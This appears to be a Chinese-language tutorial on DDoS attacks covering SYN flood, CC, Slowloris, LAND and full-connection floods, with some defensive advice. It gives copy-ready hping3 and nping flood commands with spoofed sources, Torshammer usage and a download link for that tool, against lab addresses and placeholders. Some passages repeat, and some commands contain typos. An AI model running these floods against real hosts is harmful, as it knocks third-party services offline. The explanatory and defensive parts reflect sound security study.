DDOS攻击
DDOS简介
DDOS又称为分布式拒绝服务。DDOS利用合理的请求造成资源过载,导致服务不可用。分布式拒绝服务攻击,将正常请求放大N倍,通过若干个网络节点同时发起攻击,以达成规模效应。这些网络节点往往是黑客们所控制的肉鸡,数量到达一定规模后,就形成了一个僵尸网络。大型的僵尸网络,甚至达到了数万、数十万台的规模。如此规模的僵尸网络发起的DDOS攻击,几乎是不可阻挡的。
DOS简介
利用程序漏洞或一对一资源耗尽的Denial of server拒绝服务,DOS是一对一的攻击完全拼各自资源、效果差。
DDOS多对一的攻击汇聚资源能力,重点是量大,属于资源耗尽型。
Dos分类
D网络
基于巨量的Flood耗尽目标网络宽带资源
例如:ICMP Flood-->该攻击在短时间内向目的主机发送大量ping包,消耗主机资源。
UDP Flood -->一种利用大量UDP小包冲击 DNS服务器,是一种消耗对方资源,也消耗你自己的资源。
以上两点攻击只做了解,这个时代已经淘汰了。
D协议
攻击协议漏洞发起的拒绝服务攻击。例如:Syn Flood、
D应用
针对应用软件和操作系统漏洞发起的拒绝服务攻击。
大量频繁访问消耗系统资源严重的应用(CC),通常表现为操作系统运行正常,网络流量不大,但服务停止响应也是耗尽目标资源。
syn-Flood
SYN flood利用了TCP协议设计中的缺陷,而TCP/IP协议是整个互联网的基础,如今想要修复这样的缺陷几乎成为不可能的事情。

SYN food在攻击时,首先伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应SYN/ACK包,因为源地址是伪造的,所有伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待有关SYNTime(一般30秒 倒 2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CUP和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。
对抗SYN food的主要措施:SYN cookie/SYN Proxy、safereset算法等。SYN cookie主要思想是为每一个IP地址分配一个Cookie,并统计每个IP地址的访问频率。如果在短时间内收到大量来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被抛弃。
Syn food攻击实战
使用kali中的hping3工具进行攻击,该工具默认已经安装到kail中。
hping3 -c 100 -d 15 -S -w 64 -p 81 --flood --rand-source 192.168.3.154
使用hping3发送100个大小为15的 TCP window大小64的攻击数据包到IP地址为192.168.3.154:81 端口81的攻击机上,--flood表示尽快发TCP包,--rand-source攻击者的ip随机变化



Dos
应用层DDOS,不同于网络层DDOS,由于发生在应用层,因此TCP三次握手已经完成,连接已经建立,所以发起攻击的IP地址也都是真实的。但应用层DDOS有时甚至比网络层DDOS攻击更为可怕。
CC攻击
CC攻击的前身是一个叫fatboy的攻击程序,当时黑客为了挑战绿盟的一款反DDOS设备开发。
CC攻击的原理非常简单,就是对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。在web应用中,查询数据库、读/写硬盘文件等操作,相对都会消耗比较多的资源。
应用层DDOS攻击是针对服务器性能的一种攻击,那么优化服务器性能的方法,都或多或少能缓解此种攻击。例如使用频率高的数据放到memcache或redis中,相对查询数据库所消耗的资源来说,查询memcache或redis所消耗的资源可以忽略不计。
实例
使用工具HttpDdos进行攻击

攻击以后查看被攻击机器资源,同时服务该网站变卡。
常见的CC攻击防御
限制请求频率,通过IP地址与Cookie定位一个客户端,如果客户端的请求在一定时间内过于频繁,则对之后来自该客户端的所有请求都重定向倒一个出错页面。
然而这种防御方法并不完美,因为在客户端的判断依据上并不是永远可靠的。这个方案中有两个因素用以定位一个客户端:一个是IP地址,另一个是Coookie。但用户的IP地址可能发生改变,而Cookie又可能被清空,如果IP地址和Cookie同时都发生了变化,那么就无法再定位到同一个客户端了。
代码要做好性能优化。合理使用memcache或redis就是一个很好的优化方案,将数据库的压力尽可能转移到内存中。此外还需要及时地释放资源,比如及时关闭数据库连接,减少空连接等消化。
网络架构做好优化。善于利用负载均衡分类,避免用户流量集中在单台服务器上。同时可以充分利用好CDN和镜像站点的分流作用,缓解主站的压力。
限制每个IP地址的请求频率。
资源耗尽攻击
除了CC攻击外,攻击者还可能利用一些Web Server的漏洞或设计缺陷,直接造成拒绝服务。
Slowloris攻击
Slowloris原理是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限,因此若是恶意地占用连接不释放,那么Web Server的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。
在正常的HTTP包头中,以两个\r\n\r\n表示HTTP Headers部分结束。
攻击者发送\r\n,因此将认为HTTP Headers部分没有结束,并保持此连接不释放,继续等待完整的请求。此时客户端再发送任意HTTP头,保持住连接即可。当构造多个连接后,
服务器的连接数很快就会达到上限。
攻击实例
环境: python2 攻击工具:Torshammer里面的torshammer.py文件
Torshammer下载地址:链接:https://pan.baidu.com/s/1y7eVMmyqAsjhrAUjsAUQLA 提取码:18tq 或者https://github.com/ 搜索下载
攻击实例
环境: python2 攻击工具:Torshammer里面的torshammer.py文件
Torshammer下载地址:链接:https://pan.baidu.com/s/1y7eVMmyqAsjhrAUjsAUQLA 提取码:18tq 或者https://github.com/ 搜索下载
Torshammer目录里面有5个文件

cmd中进入到Torshammer目录执行:python torshammer.py -t 被攻击者ip -p 端口 -r 并发数
例如:python torshammer.py -t 192.168.3.127 -p 81 -r 1000
1000个并发向192.168.3.127:81进行攻击

发生的所有数据包都是拆分的发如图:


192.168.3.154资源截图

拒绝服务攻击
kali中的Hping3
Hping3 -几乎可以定制发送任何TCP/IP数据包,用于测试FW、端口扫描、性能测试
Syn Flood 攻击
-hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 1.1.1.1
-hping3 -S -P -U -p 80 --flood --rand-source 1.1.1.1
-hping3 -SARFUP -p 80 --flood --rand-source 1.1.1.1 (TCP Flood)
ICMP Flood 攻击
-hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood 1.1.1.2
UDP Flood 攻击
-hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood 1.1.1.2
LAND攻击 -特殊种类的SYN Flood攻击 -源地址、目的地址都是受害者,受害者于自己完成三次握手
—hping3 -n –a 1.1.1.1 -S -d 100 -p 80 –flood 1.1.1.1
TCP全链接DoS攻击
—nping --tcp-connect --rate=10000 -c 1000000000 -q 1.1.1.1
查公网IP
—nping --echo-client "public" echo.nmap.org --udp
参数介绍
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source testsite.com
- -c:发送数据包的个数
- -d:每个数据包的大小
- -S:发送SYN数据包
- -w:TCP window大小
- -p:目标端口,你可以指定任意端口
- –flood:尽可能快的发送数据包
- –rand-source:使用随机的IP地址,目标机器看到一堆ip,不能定位你的实际IP;也可以使用-a或–spoof隐藏主机名
- -n --numeric 数字化输出,象征性输出主机地址。
- 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
模式选择
default mode TCP // 默认模式是 TCP
-0 --rawip RAWIP模式,原始IP模式。在此模式下HPING会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
-8 --scan SCAN mode. //扫描模式 指定扫描对应的端口。Example: hping --scan 1-30,70-90 -S www.target.host // 扫描
通信协议
- -M --setseq set TCP sequence number
- -L --setack set TCP ack
- -F --fin set FIN flag
- -S --syn set SYN flag
- -R --rst set RST flag
- -P --push set PUSH flag
- -A --ack set ACK flag
- -U --urg set URG flag
- -X --xmas set X unused flag (0x40)
- -Y --ymas set Y unused flag (0x80)
如果不指定通信协议默认是 TCP 协议
hping3 -c 1000 -d 120 -S -w 64 -p 81 --flood --rand-source 192.168.3.129
hping3 -n -S -d 100 -p 81 --flodd --rand-source 192.168.3.129


■LAND攻击 -特殊种类的SYN Flood攻击 -源地址、目的地址都是受害者,受害者于自己完成三次握手,也就是受害者与自己完成三次握手。
—hping3 -n –a 1.1.1.1 -S -d 100 -p 80 –flood 1.1.1.1
-a 指定伪造的IP地址 -flood 尽快发包
TCP全链接DoS攻击
—nping --tcp-connect --rate=10000 -c 1000000000 -q 1.1.1.1
浙公网安备 33010602011771号